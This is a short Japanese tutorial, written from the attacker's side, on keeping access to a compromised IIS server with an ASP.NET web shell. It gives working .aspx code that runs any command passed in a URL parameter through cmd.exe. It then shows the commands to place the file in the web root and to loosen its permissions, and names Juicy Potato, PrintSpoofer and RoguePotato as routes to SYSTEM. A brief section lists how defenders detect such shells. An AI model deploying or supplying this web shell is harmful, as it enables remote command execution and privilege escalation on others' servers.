はじめに
Webサーバに侵入した後、継続的にアクセスを維持する(Persistence) ための代表的な手法の一つが「Web Shell」です。
特に IIS 環境では、ASP.NETベースのWeb Shellを設置することで、HTTP経由でコマンド実行が可能になります。
Web Shellとは?
Web Shellとは:
Webサーバ上に設置された「リモートコマンド実行用スクリプト」
つまり、ブラウザからこういうことができる
- OSコマンド実行
- ファイル操作
- 権限昇格の踏み台
- C2通信の入口
攻撃の基本フロー
① Web Shellの準備
ASP.NET環境では .aspx のWeb Shellを使用する:
例:
<%@ Page Language="C#" %>
<%
if (Request["cmd"] != null) {
System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]);
}
%>
超シンプルだけど、普通に動く
② Webルートに配置
IISのデフォルトWebルート:
C:\inetpub\wwwroot
配置コマンド:
C:\> move shell.aspx C:\inetpub\wwwroot\
実行ユーザについて
IISでは通常:
iis apppool\defaultapppool
一見弱そうだけど…
③ 権限問題の対応
たまに起きる「アクセス拒否」問題
icacls shell.aspx /grant Everyone:F
雑だけど動く(本番だともっとステルスにやる)
④ Web Shellの実行
ブラウザからアクセス:
http://TARGET_IP/shell.aspx?cmd=whoami
これでWeb経由のRCE完成
⑤ 権限昇格のチャンス
このユーザは重要
SeImpersonatePrivilege
これがあると:
- Juicy Potato
- PrintSpoofer
- RoguePotato
などで SYSTEM昇格可能
つまり:
Web Shell → SYSTEM は普通に現実的ルート
Blue Teamに見つかる理由
- ファイル変更検知(FIM)
- Webディレクトリ監視
- ハッシュチェック
- SIEMログ監視
特に wwwroot は「監視の中心地」
まとめ
| 項目 | 内容 |
|---|---|
| 手法 | Web Shell配置 |
| 場所 | C:\inetpub\wwwroot |
| 実行方法 | HTTPアクセス |
| 権限 | iis apppool |
| 強み | 簡単・即実行 |
| 弱点 | 検知されやすい |
Web Shellは「初心者でも使える最強ツール」だけど、
同時に「一番バレやすい古典技術」でもある。
だからプロはこう考える:
「置く」じゃなくて「溶け込ませる」